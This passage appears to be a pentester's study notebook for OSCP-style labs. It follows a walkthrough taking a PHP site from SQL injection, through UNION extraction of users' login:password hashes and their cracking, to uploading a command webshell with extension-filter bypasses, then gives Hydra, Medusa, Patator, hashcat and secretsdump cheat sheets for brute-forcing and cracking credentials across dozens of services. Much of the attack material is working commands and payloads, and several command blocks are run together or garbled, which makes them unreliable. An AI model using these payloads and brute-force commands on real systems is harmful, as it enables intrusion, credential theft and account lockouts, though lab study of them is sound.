injection on an integer, but you may have SQL injection on a string value as we will see. * if you put a quote in the URL (`/article.php?id=1'`), you should receive an error. Even if a value is an integer (for example categorie.php?id=1), it can be used as a string in the SQL query:\ SELECT \* FROM categories where id='1'. \ SQL allows both syntax, however using a string in the SQL statement will be slower than using an integer. #### Detection on Strings As we saw before in "Introduction to SQL", strings in an SQL query are put between quotes when used as value (example with 'test'): ``` SELECT id,name FROM users where name='test'; ``` If SQL injection is present in the web page, injecting a single quote `'` will break the query syntax and generate an error. Furthermore, injecting 2 times a single quote `''` won't break the query anymore. As a general rule, an odd number of single quotes will throw an error, an even number of single quotes won't. It is also possible to comment out the end of the query, so in most cases you won't get an error (depending on the query format). To comment out the end of the query you can use `' --`. For example the query, with an injection point in the test value: ``` SELECT id,name FROM users where name='test' and id=3; ``` will become: ``` SELECT id,name FROM users where name='test' -- ' and id=3; ``` and will get interpreted as: ``` SELECT id,name FROM users where name='test' ``` However this test can still generate an error if the query follows the pattern below: ``` SELECT id,name FROM users where ( name='test' and id=3 ); ``` Since the right parenthesis will be missing once the end of the query is commented out. You can obviously try with one or more parenthesis to find a value that doesn't create an error. Another way to test it, is to use `' and '1'='1`, this injection is less likely to impact the query since it is less likely to break it. For example if injected in the previous query, we can see that the syntax is still correct: ``` SELECT id,name FROM users where ( name='test' and '1'='1' and id=3 ); ``` Furthermore and `' and '1'='1` is less likely to impact the semantic of the request and the results of with and without injection are likely to be the same. We can then compare it with the page generated using the following injection `' and '1'='0` which is less likely to create an error but is likely to change the semantic of the query.SQL injection is not an accurate science and a lot of things can impact the result of your testing. If you think something is going on, keep working on the injection and try to figure out what the code is doing with your injection to ensure it's an SQL injection. In order to find the SQL injection, you need to visit the website and try these methods on all parameters for each page. Once you have found the SQL injection, you can move to the next section to learn how to exploit it. ### Exploitation of SQL injections Now We have found a SQL injection in the page , in order to go further, we will need to exploit it to retrieve information. To do so, we will need to learn about the `UNION` keyword available in SQL. #### The UNION keyword The UNION statement is used to put together information from two requests: ``` SELECT * FROM articles WHERE id=3 UNION SELECT ... ``` Since it is used to retrieve information from other tables, it can be used as a SQL injection payload. The beginning of the query can't be modify directly by the attacker since it's generated by the PHP code. However using UNION, the attacker can manipulate the end of the query and retrieve information from other tables: ``` SELECT id,name,price FROM articles WHERE id=3 UNION SELECT id,login,password FROM users ``` The most important rule, is that both statements should return the same number of columns otherwise the database will trigger an error. #### Exploiting SQL injections with UNION Exploiting SQL injection using `UNION` follows the steps below: 1. Find the number of columns to perform the UNION 2. Find what columns are echoed in the page 3. Retrieve information from the database meta-tables 4. Retrieve information from other tables/databases In order to perform a request by SQL injection, you need to find the number of columns that are returned by the first part of the query. Unless you have the source code of the application, you will have to guess this number. There are two methods to get this information: * using UNION SELECT and increase the number of columns; * using ORDER BY statement. If you try to do a UNION and the number of columns returned by the two queries are different, the database will throw an error: ``` The used SELECT statements have a different number of columns ``` You can use this property to guess the number of columns. For example, if you can inject in the following query: `SELECT id,name,price FROM articles where id=1`. You will try the following steps: * `SELECT id,name,price FROM articles where id=1 UNION SELECT 1`, the injection `1 UNION SELECT 1` will return an error since the number of columns are different in the two sub-parts of the query; * `SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2`, for the same reason as above, the payload `1 UNION SELECT 1,2` will return an error; * `SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,3`, since both sub-parts have the same number of columns, this query won't throw an error. You may even be able to see one of the numbers in the page or in the source code of the page. NB: this works for MySQL the methodology is different for other databases, the values 1,2,3,... should be changed to null,null,null, ... for database that need the same type of value in the 2 sides of the UNION keyword. For Oracle, when SELECT is used the keyword FROM needs to be used, the table dual can be used to complete the request: `UNION SELECT null,null,null FROM dual` The other method uses the keyword `ORDER BY`. `ORDER BY` is mostly used to tell the database what column should be used to sort results: ``` SELECT firstname,lastname,age,groups FROM users ORDER BY firstname ``` The request above will return the users sorted by the firstname column. `ORDER BY` can also be used to with an integer to tell the database to sort by the column number X: ``` SELECT firstname,lastname,age,groups FROM users ORDER BY 3 ``` The request above will return the users sorted by the third column. This feature can be used to detect the number of columns, if the column number in the `ORDER BY` statement is bigger than the number of columns in the query, an error is thrown (example with 10): ``` Unknown column '10' in 'order clause' ``` You can use this property to guess the number of columns. For example, if you can inject in the following query: `SELECT id,name,price FROM articles where id=1`. You can try the following steps: * `SELECT id,name,price FROM articles where id=1 ORDER BY 5`, the injection `1 ORDER BY 5` will return an error since the number of columns is less than 5 in the first part of the query; * `SELECT id,name,price FROM articles where id=1 ORDER BY 3`, the injection `1 ORDER BY 3` will not return an error since the number of columns is less than or equal of 3 in the first part of the query; * `SELECT id,name,price FROM articles where id=1 ORDER BY 4`, the injection `1 ORDER BY 4` will return an error since the number of columns is less than 4 in the first part of the query; Based on this dichotomic search, we know that the number of columns is 3, we can now use this information to build the final query: ``` SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,3 ``` Even if this methodology provides the same number of requests for this example, it's significantly faster as soon as the number of columns grow. #### Retrieving information Now that we know the number of columns, we can retrieve information from the database. Based on the error message we received, we know that the backend database used is MySQL. Using this information, we can force the database to perform a function or to send us information: * the user used by the PHP application to connect to the database with `current_user()` * the version of the database using `version()` In order to perform this, we are going to need to replace one of the values in the previous statement (`UNION SELECT 1,2,3`) by the function we want to run in order to retrieve the result in the response.Make sure you always keep the right number of columns when you try to retrieve information. You can for example access the following URL's to retrieve this information: * the database version: * the current user: * the current database: We are now able to retrieve information from the database and retrieve arbitrary content. In order to retrieve information related to the current application, we are going to need: * the name of all tables in the current database * the name of the column for the table we want to retrieve information from MySQL provides tables containing meta-information about the database, tables and columns available since the version 5 of MySQL. We are going to use these tables to retrieve the information we need to build the final request. These tables are stored in the database information\_schema. \ The following queries can be used to retrieve: * the list of all tables: `SELECT table_name FROM information_schema.tables` * the list of all columns: `SELECT column_name FROM information_schema.columns` By mixing these queries and the previous URL, you can guess what page to access to retrieve information: * the list of tables: `1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables` * the list of columns: `1 UNION SELECT 1,column_name,3,4 FROM information_schema.columns` The problem, is that these requests provide you a raw list of all tables and columns, but to query the database and retrieve interesting information, you will need to know what column belongs to what table. Hopefully, the table information\_schema.columns stores table names: ``` SELECT table_name,column_name FROM information_schema.columns ``` To retrieve this information, we can either * put table*name and column*name in different parts of the injection: `1 UNION SELECT 1, table_name, column_name,4 FROM information_schema.columns` * concatenate table*name and column*name in the same part of the injection using the keyword CONCAT: `1 UNION SELECT 1,concat(table_name,':', column_name),3,4 FROM information_schema.columns`. `':'` is used to be able to easily split the results of the query. If you want to easily retrieve information from the resulting page using a regular expression (if you want to write an SQL injection script for example), you can use a marker in the injection: \`\`1 UNION SELECT 1,concat('^^^',table\_name,':',column\_name,'^^^') FROM information\_schema.columns\`. It then is really easy to match the result in the page. You have now a list of tables and their columns, the first tables and columns are the default MySQL tables. At the end of the HTML page, we can see a list of tables that are likely to be used by the current application: ![Table name in web page](https://assets.pentesterlab.com/from_sqli_to_shell/tables.png) Using this information, you can now build a query to retrieve information from this table: ``` 1 UNION SELECT 1,concat(login,':',password),3,4 FROM users; ``` And get the username and password used to access the administration pages: ![Dump of the user's password](https://assets.pentesterlab.com/from_sqli_to_shell/password.png)The SQL injection provided the same level of access as the user used by the application to connect to the database (current\_user())... That is why it is always important to provide the lowest privileges possible to this user when you deploy a web application. ## Access to the administration pages and code execution ### Cracking the password The password can be easily cracked using 2 different methods: * A search engine * John-The-Ripper When a hash is unsalted, it can be easily cracked using a search engine like google. For that, just search for the hash and you will see a lot of websites with the cleartext version of your password: ![Google search for a hash](https://assets.pentesterlab.com/from_sqli_to_shell/google.png) John-The-Ripper can be used to crack this password, most modern Linux distribution include a version of John, in order to crack this password you need to tell John what algorithm has been used to encrypted it. For web application, a good guess would be MD5. In most Linux distributions, the version of John-The-Ripper provided only supports a small number of formats. You can run `john` without any arguments to get a list of the supported formats from the usage information. For example on Fedora, the following formats are supported: ``` $ john # ...usage information... --format=NAME force hash type NAME: DES/BSDI/MD5/BF/AFS/LM/crypt # ...usage information... ``` Unfortunately, the MD5 available is not the format created by the PHP function md5. In order to crack this password, we will need a version of John supporting raw-md5. The community-enhanced version available on the main website supports raw-md5 and can be used. Now we need to provide the information in the right format for John, we need to put the username and password on the same line separated by a colon ':'. ``` admin:8efe310f9ab3efeae8d410a8e0166eb2 ``` The following command line can be used to crack the password previously retrieved: ``` $ ./john password --format=raw-md5 --wordlist=dico --rules ``` The following options are used: * `password` tells john what file contains the password hash * `--format=raw-md5` tells john that the password hash is in the raw-md5 format * `--wordlist=dico` tells john to use the file `dico` as a dictionnary * `--rules` tells john to try variations for each word provided John outputs the number of hashs matching the format used: ``` Loaded 1 password hash (Raw MD5 [SSE2 16x4x2 (intr)]) ``` This provides an indication that the correct format is used. You can retrieve the password really quickly: ``` $ ./john password --format=raw-md5 --wordlist=dico --rules Loaded 1 password hash (Raw MD5 [SSE2 16x4x2 (intr)]) P4ssw0rd (admin) ``` ### Uploading a Webshell and Code Execution Once access to the administration page is obtained, the next goal is to find a way to execute commands on the operating system. We can see that there is a file upload function allowing a user to upload a picture, we can use this functionality to try to upload a PHP script. This PHP script once uploaded on the server will give us a way to run PHP code and commands. First we need to create a PHP script to run commands. Below is the source code of a simple and minimal webshell: ``` ``` This script takes the content of the parameter cmd and executes it. It needs to be saved as a file with the extension .php, for example: `shell.php` can be used as a filename. We can now use the upload functionality available at the page: and try to upload this script. We can see that the script has not been uploaded correctly on the server. The application prevent file with an extension `.php` to be uploaded. We can however try: * `.php3` which will bypass a simple filter on `.php` * `.php.test` which will bypass a simple filter on `.php` and Apache will still use `.php` since in this configuration it doesn't have an handler for `.test` Now, we need to find where the PHP script, managing the upload put the file on the web server. We need to ensure that the file is directly available for web clients. We can visit the web page of the newly uploaded image to see where the `

Last picture: Test shell

Test shell

``` you can now access the page at the following address and start running commands using the cmd parameter. For example, accessing will run the command `uname` on the operating system and return the current kernel (`Linux`). Other commands can be used to retrieve more information: * `cat /etc/passwd` to get a full list of the system's users; * `uname -a` to get the version of the current kernel; * `ls` to get the content of the current directory; * ... The webshell has the same privileges as the web server running the PHP script, you won't for example be able to retrieve the content of the file `/etc/shadow` since the web server doesn't have access to this file (however you should still try in case an administrator made a mistake and changed the permissions on this file). Each command is run in a brand new context independently of the previous command, you won't be able to get the contents of the `/etc/` directory by running `cd /etc` and `ls`, since the second command will be in a new context. To get the contents of the directory `/etc/`, you will need to run `ls /etc` for example. # Password cracking https\://github.com/frizb/ An amazing index of brute-force commands ``` https://book.hacktricks.xyz/brute-force ``` ## Username list {% hint style="success" %} Before you brute force. Ask yourself: have you found a user list on the website? If so look through it for stand out names like dev, test, admin. These might be concealed in the big username list you found. Trust me, scan through the list. Also sort for unique names - save you brute forcing the same name. Lesson learned on PG! ....\*cough Interface\* {% endhint %} ## Hydra | Command | Description | | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :--------------------------------------------------: | | hydra -P password-file.txt -v $ip snmp | Hydra brute force against SNMP | | hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftp | Hydra FTP known user and rockyou password list | | hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh | Hydra SSH using list of users and passwords | | hydra -v -V -u -L users.txt -p "" -t 1 -u $ip ssh | Hydra SSH using a known password and a username list | | hydra $ip -s 22 ssh -l -P big\_wordlist.txt | Hydra SSH Against Known username on port 22 | | hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V | Hydra POP3 Brute Force | | hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V | Hydra SMTP Brute Force | | hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin | Hydra attack http get 401 login with a dictionary | | hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp\://$ip | Hydra attack Windows Remote Desktop with rockyou | | hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb | Hydra brute force SMB user with rockyou: | | hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^\&pwd=^PASS^\&wp-submit=Log In\&testcookie=1:S=Location' | Hydra brute force a Wordpress admin login | | hydra -vV -L unique -p wedontcare $ip http-post-form '/wp-login.php:log=^USER^\&pwd=^PASS^\&wp-submit=Log+In:F=Invalid username' | Hydra brute force a username | | wpscan --url -U Elliot -P fsocity.dic.unique | Use wpscan to bruteforce password | | patator http\_fuzz url=[http://$ip/login](http://192.168.92.106/login) method=POST body='username=FILE0\&password=FILE1' 0=allusers.txt 1=$ROCKYOU -x ignore:fgrep=Unauthorized | fast webform bruteforce | The POST request contained json`{"username":"aaa","password":"bbbb"}`. Patator didn't like it so I had to change it to `'username=FILE0&password=FILE1'` see above ### SQL bruteforce root password remotely ``` medusa -h $ip -M mysql -u root -P /usr/share/wordlists/rockyou.txt -t 40 ``` ### Hashes * MD5 32 hex characters. * SHA-1 40 hex characters. * SHA-256 64 hex characters. * SHA-512 128 hex characters. * Find the type of hash: ``` hash-identifier ``` * Find hash type at * Running john will tell you the hash type even if you don't want to crack it: ``` john hashes.txt ``` * Paste the entire /etc/shadow in file and run ``` john hashes.txt ``` * Paste the entire /etc/shadow in file and run ``` john hashes.txt ``` * GPU cracking: ``` hashcat -m 500 -a 0 -o output.txt -remove hashes.txt /usr/share/wordlists/rockyou.txt ``` * CPU cracking: ``` john --wordlist=/usr/share/wordlists/rockyou.txt 127.0.0.1.pwdump ``` * Cracking **/etc/shadow**: ``` unshadow password.txt shadow.txt > unshadowed.txt; john --wordlist= unshadowed.txt ``` * Generating wordlists ``` crunch 6 6 0123456789ABCDEF 5o crunch1.txt ``` * Online rainbow tables: ``` https://crackstation.net/ http://www.cmd5.org/ https://hashkiller.co.uk/md5-decrypter.aspx https://www.onlinehashcrack.com/ http://rainbowtables.it64.com/ http://www.md5online.org/ ``` ## Hashcat-Cheatsheet Hashcat Cheatsheet for OSCP ### Identify Hashes `hash-identifier` Example Hashes: ### MAX POWER! I have found that I can squeeze some more power out of my hash cracking by adding these parameters: ``` --force -O -w 4 --opencl-device-types 1,2 ``` These will force Hashcat to use the CUDA GPU interface which is buggy but provides more performance (–force) , will Optimize for 32 characters or less passwords (-O) and will set the workload to "Insane" (-w 4) which is supposed to make your computer effectively unusable during the cracking process. Finally "--opencl-device-types 1,2 " will force HashCat to use BOTH the GPU and the CPU to handle the cracking. ### Using hashcat and a dictionary Create a .hash file with all the hashes you want to crack puthasheshere.hash: $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ Hashcat example cracking Linux md5crypt passwords $1$ using rockyou: `hashcat --force -m 500 -a 0 -o found1.txt --remove puthasheshere.hash /usr/share/wordlists/rockyou.txt` Hashcat example cracking Wordpress passwords using rockyou:\ `hashcat --force -m 400 -a 0 -o found1.txt --remove wphash.hash /usr/share/wordlists/rockyou.txt` Sample Hashes ### HashCat One Rule to Rule them All Not So Secure has built a custom rule that I have had luck with in the past:\ \ The rule can be downloaded from their Github site:\ I typically drop OneRuleToRuleThemAll.rule into the rules subfolder and run it like this from my windows box (based on the notsosecure article): ``` hashcat64.exe --force -m300 --status -w3 -o found.txt --remove --potfile-disable -r rules\OneRuleToRuleThemAll.rule hash.txt rockyou.txt ``` ### Using hashcat bruteforcing ``` predefined charsets ?l = abcdefghijklmnopqrstuvwxyz ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ ?d = 0123456789 ?s = «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ ?a = ?l?u?d?s ?b = 0x00 - 0xff ``` ?l?d?u is the same as:\ ?ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 Brute force all passwords length 1-8 with possible characters A-Z a-z 0-9\ `hashcat64 -m 500 hashes.txt -a 3 ?1?1?1?1?1?1?1?1 --increment -1 ?l?d?u` ### Cracking Linux Hashes - /etc/shadow file | ID | Description | Type | | ---- | ----------------------------- | ----------------- | | 500 | md5crypt $1$, MD5(Unix) | Operating-Systems | | 200 | bcrypt $2\*$, Blowfish(Unix) | Operating-Systems | | 400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems | | 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems | ### Cracking Windows Hashes | ID | Description | Type | | ---- | ----------- | ----------------- | | 3000 | LM | Operating-Systems | | 1000 | NTLM | Operating-Systems | ### Cracking Common Application Hashes | ID | Description | Type | | ----- | ----------- | -------- | | 900 | MD4 | Raw Hash | | 0 | MD5 | Raw Hash | | 5100 | Half MD5 | Raw Hash | | 100 | SHA1 | Raw Hash | | 10800 | SHA-384 | Raw Hash | | 1400 | SHA-256 | Raw Hash | | 1700 | SHA-512 | Raw Hash | ### Cracking Common File Password Protections | ID | Description | Type | | ----- | ----------------------------------------------- | --------- | | 11600 | 7-Zip | Archives | | 12500 | RAR3-hp | Archives | | 13000 | RAR5 | Archives | | 13200 | AxCrypt | Archives | | 13300 | AxCrypt in-memory SHA1 | Archives | | 13600 | WinZip | Archives | | 9700 | MS Office <= 2003 $0/$1, MD5 + RC4 | Documents | | 9710 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #1 | Documents | | 9720 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #2 | Documents | | 9800 | MS Office <= 2003 $3/$4, SHA1 + RC4 | Documents | | 9810 | MS Office <= 2003 $3, SHA1 + RC4, collider #1 | Documents | | 9820 | MS Office <= 2003 $3, SHA1 + RC4, collider #2 | Documents | | 9400 | MS Office 2007 | Documents | | 9500 | MS Office 2010 | Documents | | 9600 | MS Office 2013 | Documents | | 10400 | PDF 1.1 - 1.3 (Acrobat 2 - 4) | Documents | | 10410 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1 | Documents | | 10420 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2 | Documents | | 10500 | PDF 1.4 - 1.6 (Acrobat 5 - 8) | Documents | | 10600 | PDF 1.7 Level 3 (Acrobat 9) | Documents | | 10700 | PDF 1.7 Level 8 (Acrobat 10 - 11) | Documents | | 16200 | Apple Secure Notes | Documents | ### Cracking Commmon Database Hash Formats | ID | Description | Type | Example Hash | | ----- | --------------------------- | --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | | 12 | PostgreSQL | Database Server | a6343a68d964ca596d9752250d54bb8a:postgres | | 131 | MSSQL (2000) | Database Server | 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578 | | 132 | MSSQL (2005) | Database Server | 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe | | 1731 | MSSQL (2012, 2014) | Database Server | 0x02000102030434ea1b17802fd95ea6316bd61d2c94622ca3812793e8fb1672487b5c904a45a31b2ab4a78890d563d2fcf5663e46fe797d71550494be50cf4915d3f4d55ec375 | | 200 | MySQL323 | Database Server | 7196759210defdc0 | | 300 | MySQL4.1/MySQL5 | Database Server | fcf7c1b8749cf99d88e5f34271d636178fb5d130 | | 3100 | Oracle H: Type (Oracle 7+) | Database Server | 7A963A529D2E3229:3682427524 | | 112 | Oracle S: Type (Oracle 11+) | Database Server | ac5f1e62d21fd0529428b84d42e8955b04966703:38445748184477378130 | | 12300 | Oracle T: Type (Oracle 12+) | Database Server | 78281A9C0CF626BD05EFC4F41B515B61D6C4D95A250CD4A605CA0EF97168D670EBCB5673B6F5A2FB9CC4E0C0101E659C0C4E3B9B3BEDA846CD15508E88685A2334141655046766111066420254008225 | | 8000 | Sybase ASE | Database Server | 0xc00778168388631428230545ed2c976790af96768afa0806fe6c0da3b28f3e132137eac56f9bad027ea2 | ### Cracking NTLM hashes After grabbing or dumping the NTDS.dit and SYSTEM registry hive or dumping LSASS memory from a Windows box, you will often end up with NTLM hashes. | Path | Description | | --------------------------------- | ------------------------------------------------------- | | C:\Windows\NTDS\ntds.dit | Active Directory database | | C:\Windows\System32\config\SYSTEM | Registry hive containing the key used to encrypt hashes | And using Impacket to dump the hashes ``` impacket-secretsdump -system SYSTEM -ntds ntds.dit -hashes lmhash:nthash LOCAL -outputfile ntlm-extract ``` You can crack the NTLM hash dump usign the following hashcat syntax: ``` hashcat64 -m 1000 -a 0 -w 4 --force --opencl-device-types 1,2 -O d:\hashsample.hash "d:\WORDLISTS\realuniq.lst" -r OneRuleToRuleThemAll.rule ``` *Benchmark using a Nvidia 2060 GTX:* Speed: 7000 MH/s Recovery Rate: 12.47% Elapsed Time: 2 Hours 35 Minutes ### Cracking Hashes from Kerboroasting - KRB5TGS A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. This allows a client application to request that the service authenticate an account even if the client does not have the account name. KRB5TGS - Kerberoasting Service Accounts that use SPN Once you have identified a Kerberoastable service account (Bloodhound? Powershell Empire? - likely a MS SQL Server Service Account), any AD user can request a krb5tgs hash from it which can be used to crack the password. Based on my benchmarking, KRB5TGS cracking is 28 times slower than NTLM. Hashcat supports multiple versions of the KRB5TGS hash which can easily be identified by the number between the dollar signs in the hash itself. * 13100 - Type 23 - $krb5tgs$23$ * 19600 - Type 17 - $krb5tgs$17$ * 19700 - Type 18 - $krb5tgs$18$ KRB5TGS Type 23 - Crackstation humans only word list with OneRuleToRuleThemAll mutations rule list. ``` hashcat64 -m 13100 -a 0 -w 4 --force --opencl-device-types 1,2 -O d:\krb5tgs.hash d:\WORDLISTS\realhuman_phill.txt -r OneRuleToRuleThemAll.rule ``` *Benchmark using a Nvidia 2060 GTX:* Speed: 250 MH/s Elapsed Time: 9 Minutes ### To crack linux hashes you must first unshadow them `unshadow passwd-file.txt shadow-file.txt` `unshadow passwd-file.txt shadow-file.txt > unshadowed.txt` ### Crack a zip password `zip2john Zipfile.zip | cut -d ':' -f 2 > hashes.txt`\ `hashcat -a 0 -m 13600 hashes.txt /usr/share/wordlists/rockyou.txt` Hashcat appears to have issues with some zip hash formats generated from zip2john. You can fix this by editing the zip hash contents to align with the example zip hash format found on the hash cat example page: `$zip2$*0*3*0*b5d2b7bf57ad5e86a55c400509c672bd*d218*0**ca3d736d03a34165cfa9*$/zip2$` John seems to accept a wider range of zip formats for cracking. # Brute Force - CheatSheet https\://book.hacktricks.xyz/brute-force **Wait a second, have you tried to use default credentials??** **Search in google** for default credentials of the technology that is being used, or **try this links**: * [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) * [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/) * [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/) * [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list) * [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv) * [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords) * [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com/) ## Service Ordered alphabetically by service name. ### AFP ``` nmap -p 548 --script afp-brute msf> use auxiliary/scanner/afp/afp_loginmsf> set BLANK_PASSWORDS truemsf> set USER_AS_PASS truemsf> set PASS_FILE msf> set USER_FILE msf> run ``` ### AJP ``` nmap --script ajp-brute -p 8009 ``` ### Cassandra ``` nmap --script cassandra-brute -p 9160 ``` ### CouchDB ``` msf> use auxiliary/scanner/couchdb/couchdb_login ``` ### FTP ``` hydra -l root -P passwords.txt [-t 32] ftpncrack -p 21 --user root -P passwords.txt [-T 5]medusa -u root -P 500-worst-passwords.txt -h -M ftp ``` ### HTTP Generic Brute ### HTTP Basic Auth ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 ``` ### HTTP - Post Form ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V ``` For http**s** you have to change from "http-post-form" to "**https-post-form"** ### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle ``` cmsmap -f W/J/D/M -u a -p a https://wordpress.com ``` ### IMAP ``` hydra -l USERNAME -P /path/to/passwords.txt -f imap -Vhydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -Vnmap -sV --script imap-brute -p ``` ### IRC ``` nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` ### ISCSI ``` nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` ### LDAP ``` nmap --script ldap-brute -p 389 ``` ### Mongo ``` nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login ``` ### MySQL ``` hydra -L usernames.txt -P pass.txt mysqlmsf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false ``` ### OracleSQL ``` patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017​./odat.py passwordguesser -s $SERVER -d $SID./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt​#msf1msf> use admin/oracle/oracle_loginmsf> set RHOSTS msf> set RPORT 1521msf> set SID ​#msf2, this option uses nmap and it fails sometimes for some reasonmsf> use scanner/oracle/oracle_loginmsf> set RHOSTS msf> set RPORTS 1521msf> set SID ​#nmap fails sometimes for some reson executing this scriptnmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= ``` In order to use **oracle\_login** with **patator** you need to **install**: ``` pip3 install cx_Oracle --upgrade ``` ​[Offline OracleSQL hash bruteforce](https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**): ``` nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` ### POP ``` hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -Vhydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V ``` ### PostgreSQL ``` hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgresmedusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgresncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt :5432patator pgsql_login host= user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txtuse auxiliary/scanner/postgres/postgres_loginnmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 ``` ### PPTP ``` cat rockyou.txt | thc-pptp-bruter –u ``` ### RDP ``` ncrack -vv --user -P pwds.txt rdp://hydra -V -f -L -P rdp:// ``` ### Redis ``` msf> use auxiliary/scanner/redis/redis_loginnmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis ``` ### Rexec ``` hydra -l -P rexec:// -v -V ``` ### Rlogin ``` hydra -l -P rlogin:// -v -V ``` ### Rsh ``` hydra -L rsh:// -v -V ``` ​​ ### Rsync ``` nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` ### RTSP ``` hydra -l root -P passwords.txt rtsp ``` ### SNMP ``` msf> use auxiliary/scanner/snmp/snmp_loginnmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ]onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp_onesixtyone.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` ### SMB ``` nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 ``` ### SMTP ``` hydra -l -P /path/to/passwords.txt smtp -Vhydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL ``` ### SQL Server ``` #Use the NetBIOS name of the machine as domainhydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt mssqlmedusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssqlnmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be carefull with the number of password in the list, this could block accountsmsf> use auxiliary/scanner/mssql/mssql_login #Be carefull, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` ### SSH ``` hydra -l root -P passwords.txt [-t 32] sshncrack -p 22 --user root -P passwords.txt [-T 5]medusa -u root -P 500-worst-passwords.txt -h -M ssh ``` ### Telnet ``` hydra -l root -P passwords.txt [-t 32] telnetncrack -p 23 --user root -P passwords.txt [-T 5]medusa -u root -P 500-worst-passwords.txt -h -M telnet ``` ### VNC ``` hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vncmedusa -h –u root -P /root/Desktop/pass.txt –M vncncrack -V --user root -P /root/Desktop/pass.txt :>POR>Tpatator vnc_login host= password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0use auxiliary/scanner/vnc/vnc_loginnmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 ``` ## Local ### Online cracking databases * * ​ (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...) * * * ​ (Hashes and file hashes) * * * ​ (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) * Check this out before trying to bruteforce a Hash. ### Generic 